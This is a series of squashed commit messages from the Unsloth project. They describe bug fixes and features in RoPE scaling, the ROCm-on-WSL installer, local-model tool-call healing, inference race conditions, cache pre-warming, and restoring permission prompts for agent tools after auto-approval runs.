into the forceable save-anyway flow, but this block cannot be bypassed by force, so it
now uses a distinct status the client treats as non-forceable.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Base the embedding pickle scan on the actual backend, not just the resolver
_llama_backend_active only consulted the auto resolver, so on a GPU box
where auto resolves to sentence-transformers but the process already fell
back to the llama-server backend at runtime (a torch or CUDA load/encode
failure), it returned False and the settings endpoint hard-blocked a save
whose ST pickle is flagged even though the process loads only inert GGUF.
Add active_backend_is_llama, which reflects the actual built backend (True
when the cached backend is a LlamaServerBackend, including a runtime
fallback) and otherwise defers to the resolver as a fresh process would,
and delegate _llama_backend_active to it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report the cached embedding backend verbatim, not the resolver
active_backend_is_llama() fell through to the config resolver whenever a
backend was already built but was not llama-server, so a live
sentence-transformers backend could report llama=True once the resolver
picked llama (GPU heuristic or a runtime config change) and wrongly skip
its pickle scan. Once a backend exists, return isinstance(backend,
LlamaServerBackend) directly; only defer to the resolver before any
backend is built.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Guard RoPE scaling against the transformers v5 buffer blank; honor extended factor
Add a family-agnostic guard that builds each rotary from a scaled config,
blanks its non-persistent buffers (what transformers v5 does on load), runs
loader._fix_rope_inv_freq, and asserts every buffer is restored to its scaled
value (llama3 and longrope). This catches the whole bug class, not just the
one call site, and is validated to fail on the pre-fix repair.
Also make LlamaExtendedRotaryEmbedding read the llama3 factor from the config
instead of hardcoding 8 (wrong for Llama-3.2, factor 32), falling back to the
Llama-3.1 defaults when built without a config.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass config into extended rotary codegen; skip v5 round-trip on transformers 4.x
- patch_llama_rope_scaling now builds the llama3 extended rotary with
config=self.config so it reads the real factor (32 for Llama-3.2) instead
of falling back to 8; the template already references self.config.
- test_v5_blank_repair_roundtrip now skips when loader._NEEDS_ROPE_FIX is
False, since _fix_rope_inv_freq is a no-op on transformers 4.x and cannot
restore the blanked buffers there.
* Raise stream deadlock-guard timeouts from 0.2s to 5.0s in passthrough tests
These asyncio.wait_for guards bound test setup and cross-task event
signaling that complete near-instantly on success; the 0.2s budget is a
latency assertion in disguise and times out under CI scheduling load
(seen on the 3.11 matrix leg while 3.10/3.12/3.13 pass the same commit).
5.0s matches the timeout used elsewhere in the suite and still fails fast
on a real hang. No test relies on the guard expiring.
* Extended rotary reads rope_parameters as well as rope_scaling
transformers v5 stores llama3 scaling under config.rope_parameters and
exposes rope_scaling only as a back-compat property. Reading that property
works on 5.0-5.13 (verified: factor resolves to 32 for Llama-3.2), but a
future release may drop the shim, after which the subclass path would fall
back to factor 8. Read either field so the factor survives the rename.
Adds test_extended_rotary_reads_rope_parameters_v5 (fails on the old
single-field read: rope_parameters-only config resolves to 8, not 32).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* WSL ROCm: generalize ROCm-on-WSL bootstrap from Strix-only to any RDNA arch
install_rocm_wsl_strixhalo.sh hardcoded gfx1151, so its verify step died on
discrete Radeon cards even though the ROCm + librocdxg setup is arch-agnostic.
Auto-detect the GPU arch from rocminfo (override via UNSLOTH_WSL_GFX), verify any
GPU agent enumerates over DXG, and map the arch to AMD's per-arch wheel family for
the optional smoke test (injecting librocdxg into torch/lib so torch's bundled
ROCr finds the DXG bridge). Verified on gfx1200 (Radeon RX 9060 XT) in WSL2 +
Ubuntu 24.04 -- torch.cuda now enumerates the GPU.
* WSL ROCm: trigger the ROCm-on-WSL bootstrap for discrete Radeon GPUs too
_maybe_bootstrap_rocm_wsl only fired for Strix APUs (matched via /proc/cpuinfo,
which discrete cards don't appear in). Add _wsl_amd_gpu_name() -- queries the
Windows host via WMI -- and broaden the trigger gate plus the 'already-usable
ROCm' rocminfo check from gfx1151-only to any real GPU agent (gfxNNNN, excluding
the gfx11-generic fallback ISA). The generalized bootstrap then auto-detects the
arch. Enables 'curl install.sh | sh' to set up ROCm-on-WSL on discrete Radeon RX
7000/9000 in WSL2 + Ubuntu 24.04, not just Strix Halo/Point.
* WSL ROCm: address review -- filter generic ISA in bootstrap, bound the host GPU query
- install_rocm_wsl_strixhalo.sh: exclude the gfx11-generic fallback ISA in arch
detection (grep -v generic), matching install.sh's rocminfo check, so a generic
agent listed before the real one can't be picked as the arch.
- install.sh: wrap the powershell.exe Win32_VideoController query in _run_bounded
(10s timeout) so an unstable WSL-interop / busy host can't hang the installer.
* WSL ROCm: harden arch-detect + librocdxg copy under set -eo pipefail (review)
- _detected_gfx: append '|| true' so a no-GPU rocminfo (empty pipeline, non-zero
under pipefail) doesn't abort the assignment before the '[ -z ]' branch prints
the diagnostic + die message.
- smoke-test librocdxg copy: gate on '[ -d "$_tlib" ]' instead of '[ -n ]' so a
non-directory value can't make cp rename librocdxg to 'lib'.
* WSL ROCm: address Codex review (gfx000, 24.04 reroute for discrete, test locator)
- Exclude gfx000 (the CPU agent) from the WSL 'usable ROCm' check and the bootstrap
arch-detect: match gfx[1-9] (nonzero arch), so a partial ROCm install that only
reports the CPU ISA no longer short-circuits the librocdxg setup. (P2)
- Reuse the Ubuntu-24.04 reroute for discrete Radeon: broaden
_maybe_reroute_strixhalo_to_2404's gate with the same _wsl_amd_gpu_name (WMI)
fallback, so a discrete card on 26.04 reroutes to a 24.04 distro like Strix does
instead of falling to CPU. Moved _wsl_amd_gpu_name above the reroute and made it
self-contained + 10s-bounded (it runs before _run_bounded is defined). (P2)
- Update TestInstallShDropinPersistence to locate the gate by its unique
'!/generic/' clause now that the gfx1151 literal is gone. (P1)
* Condense ROCm-on-WSL comments in install.sh and bootstrap helper
* Guard WSL reroute from NVIDIA hybrid hosts and fix GFX-override pipefail check
* Honor CUDA_VISIBLE_DEVICES-hidden NVIDIA in the WSL reroute guard
* Reuse _has_usable_nvidia_gpu in the WSL reroute guard
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Clear stale yolo approval state on no-launch reruns
The no-launch session config dir is deliberately reused across runs, but
the config writers only ever added the --yolo auto-approval settings and
never removed them. After one --yolo --no-launch run, every later run
without --yolo kept OpenClaw's tools.exec security=full/ask=off policy
plus exec-approvals.json, and OpenCode's permission allow block, so tool
execution stayed silently pre-approved.
Non-yolo runs now reset that state: OpenClaw drops the exec policy keys
and the yolo defaults in exec-approvals.json (approvals OpenClaw itself
recorded are kept; the file is removed when only the yolo payload is
left), and OpenCode drops the permission block. Launch mode is untouched
since it already uses an ephemeral temp dir.
* Strip only yolo-written values on non-yolo cleanup
Match each field against the exact value the yolo path writes before
removing it, so a stricter exec policy, approvals defaults set by the
user or the OpenClaw UI, and deny/ask OpenCode permission entries all
survive a plain no-launch rerun. An unparseable exec-approvals.json is
left in place, matching how an unparseable config is handled.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Write a prompting policy on non-yolo instead of deleting to a permissive default
OpenClaw and OpenCode both treat an omitted policy as permissive: OpenClaw's
effective exec policy for an unset tools.exec is security=full/ask=off on the
gateway host, and OpenCode defaults an unset permission to allow. So clearing
the yolo values on a non-yolo run did not restore prompting, it fell back to
those permissive defaults and left tool execution auto-approved.
A non-yolo run now writes an explicit prompting policy: OpenClaw gets
security=allowlist/ask=on-miss (verified to prompt even with the approvals file
removed, since the stricter of config and approvals wins), and OpenCode gets
edit/bash/webfetch=ask. Only a permissive/yolo value is tightened; a stricter
deny (or an ask the user set) is preserved, and the yolo approvals defaults are
still stripped. The file-edit CI path opts opencode/openclaw into --yolo, since
those agents now prompt by default and the headless test needs auto-approval.
* Respect existing exec mode, sandbox/node host, and global permission rules on non-yolo reset
The non-yolo reset for openclaw/opencode assumed an omitted policy was the
permissive yolo default and rewrote it, which corrupted or weakened stricter
setups it should have preserved:
- OpenClaw tools.exec.mode is the normalized policy knob and cannot be combined
with explicit security/ask (OpenClaw rejects the whole config), so writing
security+ask alongside a mode:deny/ask policy both broke the config and
relaxed it. Leave a mode-based policy untouched.
- host=sandbox defaults to security=deny and host=node routes to a paired node;
neither is written by --yolo (which only writes host=gateway). Treating the
missing security as full and popping host broadened those into gateway/auto
exec. Only rewrite a gateway-routed permissive policy, and never pop a
non-gateway host.
- OpenCode permission can be a string ("deny") or a {"*": ...} catch-all.
The old code dropped a string form and overrode a catch-all by writing
per-tool ask, weakening a stricter user rule. Now a string is left in place,
a catch-all governs absent tools, and only an effective allow is tightened.
- The non-yolo ask policy only lived in OPENCODE_CONFIG, which loads below
project opencode.json, so a project config allowing edit/bash/webfetch still
auto-approved. Carry the ask policy in OPENCODE_CONFIG_CONTENT (above project
config) too, symmetric to how yolo carries its allow.
Also harden the openclaw path against a malformed non-dict tools value.
Adds tests for mode/sandbox/node hosts, string and catch-all permissions, and
the inline ask policy over a project config.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope non-yolo resets to the exact yolo fingerprint and preserve granular denies
OpenClaw: reset only the exact host=gateway/security=full/ask=off policy --yolo
writes, so an omitted or host=auto/sandbox/node policy (which can resolve to a
sandbox security=deny default) is no longer broadened to allowlist/on-miss, and a
deliberate tools.exec.mode is left alone (OpenClaw never migrates our security/ask
write into a mode).
OpenCode: carry a granular object or a deny inline verbatim so a per-tool user rule
is not collapsed to a blanket ask, but floor any object that grants allow anywhere to
the string ask (which fully replaces a project object) so no inline allow pattern can
leak through into a silent auto-approve on a non-yolo session.
* Stop overriding project config on non-yolo; require full approvals fingerprint
The non-yolo OpenCode reset carried a session permission in
OPENCODE_CONFIG_CONTENT, which outranks the project opencode.json we
cannot read. That inline override could not correctly reflect the project:
it weakened a project deny to a prompt, mishandled global string rules,
leaked through a granular object's permissive default when no catch-all
was present, collapsed an object with an allow (losing its deny), and
missed per-agent permissions. All of these stem from forcing a value over
an unknown project config.
A non-yolo run now only undoes what --yolo wrote: it flips our own
explicit per-tool allow back to ask in our config file and carries no
permission inline, so the project's own permissions are honored as
written. Clearing our persisted yolo state is the actual fix; --yolo still
carries its allow inline so it works over a project config.
OpenClaw approvals cleanup now strips the yolo defaults only when the full
fingerprint (security=full, ask=off, askFallback=full) is present, so a
mixed user policy that merely shares askFallback=full (whose omitted
default is deny) is kept intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: re-exec to prepend torch's bundled CUDA libs to LD_LIBRARY_PATH
On Linux the dynamic linker reads LD_LIBRARY_PATH before the RUNPATH baked into
torch's .so files, so a pre-existing LD_LIBRARY_PATH pointing at a system CUDA
(conda, a Docker base image, /usr/local/cuda-*/lib64) shadows torch's bundled
nvidia/*/lib libraries and causes undefined-symbol errors when the Studio backend
imports torch. Detect torch's lib dirs without importing torch, prepend them to
LD_LIBRARY_PATH, and re-exec once (LD_LIBRARY_PATH is only read at process start).
Linux-only, sentinel-guarded against re-exec loops, and called only from run.py's
__main__ so library/embedder imports (e.g. Colab's `from run import run_server`)
are never re-exec'd.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix repeated base model downloads across checkpoint exports (#6890)
Pre-warm the HF hub cache with the 16bit base weights before
merge_and_overwrite_lora runs. The merge fetches shards with
hf_hub_download(local_dir=...), which never populates the hub cache, so
temporary merge directories (GGUF checkpoint exports) forced a full
re-download of the base model for every checkpoint. The first export now
downloads once into the cache and later exports copy from it.
Skips itself when already cached, offline, on Kaggle/Colab, for local or
nf4/fp4 bases, non-downloading save methods, or low disk. Opt out with
UNSLOTH_PREWARM_HUB_CACHE=0.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Show MB for small base models in the pre-warm download message
* Harden pre-warm: getattr for model config, abspath for relative HF_HUB_CACHE
- Read config._name_or_path via getattr so a model without a config skips
cleanly instead of taking the outer error path.
- abspath the cache probe so a relative HF_HUB_CACHE walks up to a real root
rather than "", which would zero the free-space check and skip pre-warm.
Both from PR review; each covered by a test that fails without the fix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pre-warm the live-env HF cache so runtime redirects still hit (#6890)
Resolve the hub cache the same way the merge does (unsloth_zoo _active_caches,
live env) instead of huggingface_hub's import-time-frozen constants.HF_HUB_CACHE,
and pass it as cache_dir to the cached probe, disk check and snapshot_download.
Without this, a runtime HF_HOME/HF_HUB_CACHE redirect (unsloth_zoo
redirect_hf_cache_if_readonly on a read-only default cache, or Studio) makes the
pre-warm populate a different directory than the one the merge reads, so the
cache-copy fast path misses and the base re-downloads on every export anyway.
Adds 3 regression tests covering the cache_dir threading and the redirect case.
* Apply ruff-format kwarg spacing to the pre-warm cache-dir changes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pre-warm the 16bit sibling for FP8 bases so their merged_16bit exports reuse the cache too
For a merged_16bit export of an FP8 base with an existing 16bit sibling, the merge
swaps to the sibling and downloads that (unsloth_zoo _resolve_fp8_16bit_sibling), so
pre-warming the FP8 repo missed the cache and re-downloaded the sibling every export.
Mirror the swap and pre-warm the sibling. No sibling still caches the FP8 repo for the
in-place dequant path. Adds 2 regression tests.
* Filter pre-warm shards through the safetensors index like the merge does
Repos that ship a leftover shard set the index does not reference (e.g. granite-3.2)
made the disk gate over-count and snapshot_download fetch shards the merge never reads.
Mirror the merge: on the download path, keep only index-referenced shards. Runs after
the already-cached check so the cached fast path stays network-free. Adds 2 tests.
* Tighten pre-warm comments
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Studio: apply presence_penalty on the safetensors and MLX inference paths
The safetensors and MLX generate paths resolved the inference config and
then dropped presence_penalty before generation, so the same model applied
the configured value under GGUF and 0 under safetensors/MLX. Thread the
already-resolved presence_penalty through the orchestrator command, worker
gen_kwargs, and the safetensors/MLX generate calls, and apply it with a
small logits processor (subtract once per distinct completion token,
prompt excluded, presence not frequency, zero is a no-op, negatives raise).
Backwards compatible: presence_penalty defaults to 0.0 (byte-identical
output when unset) and the GGUF path is unchanged. Also forward min_p on
the legacy /generate/stream route and add the missing min_p field to
GenerateRequest.
* Studio: bound presence_penalty generated ids to valid vocab range on both paths
The presence-penalty logits processors index by generated token ids. The
torch path filtered only the upper bound (seen < vocab_size), so a negative
id would silently wrap to the wrong row; the MLX path had no bound at all,
and MLX out-of-bounds indexing is documented undefined behavior (crash or
memory corruption on Apple Silicon), unlike torch's harmless negative wrap.
Bound generated ids to [0, vocab) consistently on both paths:
- torch: seen[(seen >= 0) & (seen < vocab_size)] (zero-regression safety net;
real completion tokens are always in range).
- MLX: route out-of-range/negative ids to a discarded scratch slot via
mx.where and a (vocab + 1)-wide scatter-assign mask, then subtract. MLX has
no boolean-mask filtering (data-dependent output shape), so this keeps a
fixed shape, stays on-device, and preserves once-per-distinct-token
semantics without any torch/numpy dependency.
Add torch tests for out-of-range and negative ids (only in-range distinct
ids penalized, stray ids ignored, no wrong-index wrap) and a bound-documenting
MLX test that runs on the arm64 macOS CI.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: serialize the compare-mode dispatcher lifecycle to fix a start race
_generate_dispatched (compare mode) bypasses _gen_lock so two concurrent
compare requests can both reach _start_dispatcher. The check-then-spawn there
had no lock, so both could observe no live dispatcher and each spawn one. The
extra dispatcher is orphaned (self._dispatcher_thread tracks only the last) and
during a later unload it can consume the 'unloaded' reply off _resp_queue before
unload_model's _wait_response, hanging the unload on its timeout.
Add _dispatcher_lifecycle_lock and take it around the whole body of both
_start_dispatcher and _stop_dispatcher, so start/stop cannot interleave and the
second concurrent starter sees the dispatcher alive and returns. _start_dispatcher
now returns whether it actually spawned the thread, and _generate_dispatched
derives dispatcher_preexisting from that atomic result instead of a separate
unlocked is_alive() read.
No call site holds _mailbox_lock when calling start/stop, so joining the
dispatcher (which takes _mailbox_lock) under the new lock cannot deadlock; the
lock order is always _gen_lock then _dispatcher_lifecycle_lock and is never
inverted.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: refuse dispatcher start queued behind an unload's stop
A compare request could pass the early _unload_pending check, then block in _start_dispatcher on _dispatcher_lifecycle_lock behind an unload's _stop_dispatcher. When the unload released the lock the start spawned a fresh dispatcher, which became the resp_queue reader and consumed the worker's unroutable 'unloaded' reply before unload_model's _wait_response saw it, hanging the unload for 300s.
Gate _start_dispatcher on _unload_pending under the lifecycle lock, and set _unload_pending under the same lock ahead of the stop, so any start queued behind the stop observes the unload and refuses. Ordering stays _gen_lock -> _dispatcher_lifecycle_lock. Adds a regression test forcing the queued-behind-stop interleaving.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
test_nudge_tool_calls_wiring.py imported InferenceBackend from
core.inference.inference, which pulls in unsloth (and thus unsloth_zoo)
at module scope. The dependency-light backend CI matrix job does not
install unsloth_zoo, so the import raised at collection time and aborted
the whole job (831 tests never ran). Guard that one import and fold the
safetensors InferenceBackend checks in only when the unsloth stack is
importable; the orchestrator/llama_cpp/safetensors_agentic wiring is
still asserted unconditionally, and local/full-stack runs keep the
InferenceBackend coverage.
* Studio: client-tool passthrough healing for safetensors and MLX
PR 6801 made response-side tool-call healing default-on for the client-tool
passthrough, but only on the GGUF path: the passthrough branch in
/v1/chat/completions is gated on using_gguf, and the safetensors section never
reads payload.tools, so a client-tools request against a safetensors or MLX
model silently dropped the tool schemas and returned prose with no tool_calls.
Add the missing leg. When a non-GGUF model is loaded, the request declares
client tools (or carries tool-role history), server-side tools are off, and the
template supports tools, the route now:
- renders the tools into the chat template for a single turn via the existing
backend.generate_chat_response(..., tools=...) seam (worker templating
already accepts role=tool and assistant.tool_calls messages, normalized with
_openai_messages_for_passthrough);
- non-streaming: promotes text-form calls with heal_openai_message, honors the
opt-in nudge single retry (nudge_should_retry / nudge_messages), caps healed
calls when parallel_tool_calls=false (covers the nudge retry too), and sets
finish_reason=tool_calls with content null on a pure tool-call turn;
- streaming: derives deltas from the worker's cumulative snapshots and feeds
StreamToolCallHealer, emitting healed tool-call deltas and the correct
finish chunk, guarded against repeated or shrinking snapshots.
heal_gate semantics are identical to the GGUF passthrough: default on,
auto_heal_tool_calls=false or UNSLOTH_DISABLE_TOOL_CALL_HEALING=1 relays
verbatim, tool_choice narrows promotion, undeclared names stay text. MLX rides
the same orchestrator seam, so both local backends gain the behavior.
CompletionMessage.content becomes Optional so a promoted pure tool-call turn
matches the OpenAI contract (content null when only tool_calls return).
Adds tests/test_sf_client_tools_passthrough.py (22 cases: healing, gating,
opt-outs, streaming deltas, tool-role history, dict-arguments history, forced
tool_choice, parallel cap, usage, nudge on/off/double-failure, generator error
hygiene, disconnect reset, empty output, MLX path).
* Address review: tool_choice none, developer folding, retry fallback, monitor reply
Four review follow-ups on the safetensors/MLX client-tool passthrough leg:
- tool_choice="none" keeps the tool-history templating but no longer
advertises the tools, so a forced final-answer turn is not prompted into
emitting markup that the (correctly disabled) healer would relay as prose.
Mirrors the GGUF passthrough where llama-server honors tool_choice itself.
- OpenAI "developer" messages fold into a single leading system message via
_set_or_prepend_system_message before templating; local templates reject the
role and the fallback formatter drops it.
- A nudge retry that fails or is cancelled after the original answer exists
falls back to the first response instead of surfacing a 500, matching the
GGUF nudge path.
- The API monitor records the healed tool call summary instead of the raw
markup on a promoted turn.
Adds four regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: forced tool_choice templating, content-part flattening, stream monitor parity
- A forced tool_choice function is now the only schema rendered into the
local template, so the advertised tools and the healer allowlist can no
longer disagree (llama-server enforces tool_choice itself on the GGUF path).
- Content-part lists are flattened to their text parts before templating.
Remote image URLs are not decodable locally, so such requests reached this
path with part lists that raise inside apply_chat_template on text-only
templates; the plain non-GGUF path has always flattened them.
- The streaming monitor entry is now fed from the healed events the client
actually receives, recording promoted calls as the [tool_calls] summary
the non-streaming path records.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: gate passthrough on the engaged server path, deserialize templated arguments
- The client-tools gate now keys on _sf_use_tools (whether the server-side
tool path actually claimed the request) instead of the raw mcp_enabled
flag: with an empty MCP registry or a CLI --disable-tools policy, a client
that sets mcp_enabled while declaring its own tools fell through to plain
generation with the tools silently dropped. The GGUF passthrough gate has
no mcp_enabled clause either.
- New _structured_tool_history_for_local_template deserializes assistant
tool_calls[].function.arguments JSON strings into mappings for the
templated copy only: spec-compliant clients send strings, but local chat
templates iterate arguments as a mapping or raise on strings, which
crashed or misrendered multi-turn tool history. The HTTP response and the
GGUF wire shape keep strings.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments and docstrings in the client-tools passthrough
* Report first-attempt usage when a nudge retry is discarded
When nudge_should_retry fires but the retry produces no healable tool call
(or raises), the first response is still delivered to the client. The retry's
generate() had already overwritten stats_holder, so _monitor_usage recorded
the unseen retry's token counts against the request instead of the first
attempt that was actually returned. Capture the first attempt's stats before
the retry and restore them on both the no-heal and exception paths so the
monitor reports the usage of the response the caller received.
* Do not promote buffered tool markup when a stream is cancelled
The streaming client-tool heal path breaks out of the token loop when
cancel_event is set (the registry "Stop" path), but then still fell through to
healer.finalize(), which heals incomplete tool markup at EOF (allow_incomplete)
and emits a tool_calls delta plus finish_reason=tool_calls. Because the Stop
request only sets the event and leaves the SSE socket open, the client received
that promoted call and executed a tool the user had just cancelled. The disconnect
path already returns before finalize; guard finalize and the finish_reason on
cancel_event too, so a cancelled stream ends with finish_reason=stop and no tool
call. Adds a regression test driving a Stop mid-emission with buffered markup.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments in the client-tools passthrough
* Trim client-tools passthrough comments further
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Fix six race conditions when a user switches or cancels a model while a
previous load or generation is still in flight, across the inference
orchestrator and the /load and /unload routes:
- Cancel an in-flight generation on a safetensors/MLX model switch and
serialize unload with load under the inference lifecycle gate.
- Cancel an in-flight load off the lifecycle gate so a Stop-loading
cancel does not wait out the multi-minute load; guard the dispatched
mailbox against a racing unload.
- Recheck the loading marker after spawn and again after the load
response before publishing, so a load cancelled mid-flight is reaped
instead of going live.
- Discard the loading marker before tearing the subprocess down in
cancel_load, closing a spawn-after-cancel window and an orphaned
compare-mode dispatcher during unload.
- Match the unload target before canceling an in-flight GGUF load and
add an off-gate fast path for the still-loading GGUF case.
- Run the Unsloth unload off the event loop so a paused SSE stream
holding _gen_lock cannot block the loop.
Adds studio/backend/tests/test_orchestrator_unload_cancel.py covering
the unload/cancel/switch race paths.
* Studio chat: tool-call nudging on by default (API stays opt-in)
Healing is already default-on everywhere and the nudge retry from the
client-tool passthrough is opt-in on the API. Studio chat had neither
signal: the frontend never sent nudge_tool_calls, and the safetensors
and MLX server-side loop lacked the GGUF loop's plan-without-action
re-prompt entirely.
Backend: the re-prompt helpers move from llama_cpp.py into
tool_call_parser.py (shared, cycle-free; the GGUF loop imports them
under its old names with zero behavior change) and
run_safetensors_tool_loop now re-prompts once at the streaming
no-tool-call exit, gated on Auto-Heal, active tools, nothing executed
yet, and short forward-looking text. Re-prompts do not consume tool
iterations.
Frontend: the chat adapter sends nudge_tool_calls from a new
nudgeToolCalls runtime setting (default true) with the same
persistence, hydration, and settings toggle plumbing as Auto-Heal.
Request-model defaults are untouched, so raw API callers stay opt-in.
* Address review: persist the nudge setting, consume the flag in the loops, skip the re-prompt after RAG autoinject
ChatSettingsPayload uses extra forbid, so a settings patch containing
nudgeToolCalls failed to persist any settings; the field is now typed
and round-trips. nudge_tool_calls now plumbs into both server-side tool
loops and gates the plan-without-action re-prompt with None meaning on,
so API callers keep today's behavior, explicit false disables it, and
Studio's default-on flag actually controls the path Studio chat runs.
The safetensors loop no longer re-prompts after RAG autoinject: the
injected retrieval bypasses the tool controller, so the nothing-executed
gate saw an empty history and re-asked after a successful retrieval.
* Safetensors loop: the plan-without-action retry requires an explicit nudge flag
The retry is new on this loop, so an omitted nudge_tool_calls must not
change existing API behavior; Studio opts in explicitly. The GGUF loop
keeps None as on because its re-prompt predates the flag.
* Suppress the plan-without-action re-prompt after a denied tool confirmation
A denial appends TOOL_REJECTED_MESSAGE but records nothing in the tool
controller history, so the nothing-executed gate re-prompted the model
to call the tool the user had just rejected, producing another
confirmation prompt. A denial now suppresses the re-prompt for the rest
of the request, mirroring the RAG autoinject handling.
* Tighten plan-without-action re-prompt comments
* Tighten plan-without-action re-prompt comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: match unified plan-without-action nudge cap to GGUF default of 3
The shared MAX_ACT_REPROMPTS was set to 1, but GGUF's established default
(llama_cpp.py) has re-prompted a stalling model up to 3 times since #5620.
Restore the GGUF-matched cap so safetensors and MLX inherit the same
behavior, and update the safetensors cap test to assert the cap dynamically.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: exclude mlx-lm 0.31.3 (broke gemma4/qwen3_5 QK-norm load)
mlx-lm 0.31.3 regressed the QK-norm archs: its strict load_weights rejects the
q_norm/k_norm tensors with "Received N parameters not in model", so gemma4 and
qwen3_5 checkpoints fail to load. Studio installs the MLX stack unpinned at
latest, which pulls 0.31.3. Verified on a real macos-14 runner: gemma4 fails to
load on 0.31.3 but loads and generates coherently on 0.31.2 and on git-main
(future 0.31.4). See mlx-lm #1242.
Exclude just that release (!=0.31.3) in the installer and the self-heal floor so
--upgrade still resolves to the newest good build, and treat an already-installed
0.31.3 as unsatisfied so the self-heal replaces it.
* Studio MLX: cover fresh-install path + robust bad-version compare
Address PR review:
- Fresh install.sh (Apple Silicon) runs the base 'uv pip install unsloth' with
SKIP_STUDIO_BASE=1, skipping the guarded MLX-stack step, so transitive
resolution could still pull mlx-lm 0.31.3. install.sh already exports
UV_OVERRIDE -> overrides-darwin-arm64.txt before that install, so exclude
mlx-lm 0.31.3 there too; this also strengthens the self-heal (same override).
- Match the known-bad version with parsed packaging.Version so 0.31.3 == 0.31.3.0
(trailing-zero normalization) instead of raw string equality.
* Studio: exclude mlx-lm 0.31.3 on the fresh Apple Silicon install too
The overrides file only applies via UV_OVERRIDE when it exists relative to the
script, which is not true for a curl-piped install, and the guarded MLX step in
install_python_stack.py is skipped there (SKIP_STUDIO_BASE=1). So the base
install could still resolve the transitive mlx-lm to the broken 0.31.3. Append
mlx-lm!=0.31.3 to the base install on Apple Silicon (empty elsewhere), so the
fresh path pins away from 0.31.3 without waiting for the runtime self-heal.
* Studio: exclude mlx-lm 0.31.3 on the migrated install; keep the >=0.22.0 floor
The with-deps migrated install did not append ${_MLX_LM_EXCLUDE_ARG:-}, so a
curl-piped Apple Silicon migration (no repo overrides file, UV_OVERRIDE unset)
could resolve mlx-lm 0.31.3 transitively. Append the exclusion there, matching
the fresh install path. The no-torch migration is left alone since --no-deps
never resolves mlx-lm (same as the fresh no-torch path).
Also restore the >=0.22.0 floor in overrides-darwin-arm64.txt: a uv override
replaces the transitive constraint, so a bare !=0.31.3 could let the resolver
drop below the supported minimum that mlx_repair.py enforces at runtime.
* Triage huggingface_hub 1.22.0 / fastapi / multiprocess scanner false positives
The scan-packages gate red-failed on all three shards after transitive deps
bumped. Every new CRITICAL is a benign false positive, verified against upstream:
- huggingface_hub 1.22.0 added _sandbox.py for the remote HF sandbox feature.
Its job-startup bootstrap string (fetch sbx-server into the container /tmp and
exec it) and the SandboxPool host-reservation loop trip the staged-dropper and
C2-loop heuristics; that script runs inside a remote HF container, not on the
user machine. The bump also re-hashed the already-reviewed benign polling loops
in hf_api.py and utils/_http.py. The PyPI artifact is byte-identical to the
official v1.22.0 tag.
- fastapi 0.139.0 routing.py re-hashed the websocket keepalive while-True loop;
byte-identical to upstream 0.139.0.
- multiprocess 0.70.19 forkserver.py and tests/__init__.py re-hashed the AF_UNIX
fork-server IPC and fd-inheritance tests; genuine uqfoundation release, local
IPC not network.
Added 7 reviewed allowlist entries (no blind regenerate). All three shards
(hf-stack, studio, extras) exit 0 locally.
* Tighten mlx-lm 0.31.3 exclusion comments
* Trim mlx-lm 0.31.3 exclusion comments
* Studio: parse Mistral [TOOL_CALLS] and rehearsal tool-call shapes
Extends the rescue parsers in core/tool_healing.py and
core/inference/tool_call_parser.py to recognise two extra serialisations
local models commonly emit when bypassing native function calling:
* [TOOL_CALLS]name{json_args} (Devstral-Small-2, Mistral-Small-3.x).
* name[ARGS]{json_args} (reasoning-model rehearsal).
Both extractors use a brace-balance scan that honours escapes and
quoted strings so nested JSON args stay intact.
Also pre-strips <think>...</think> and [THINK]...[/THINK] blocks before
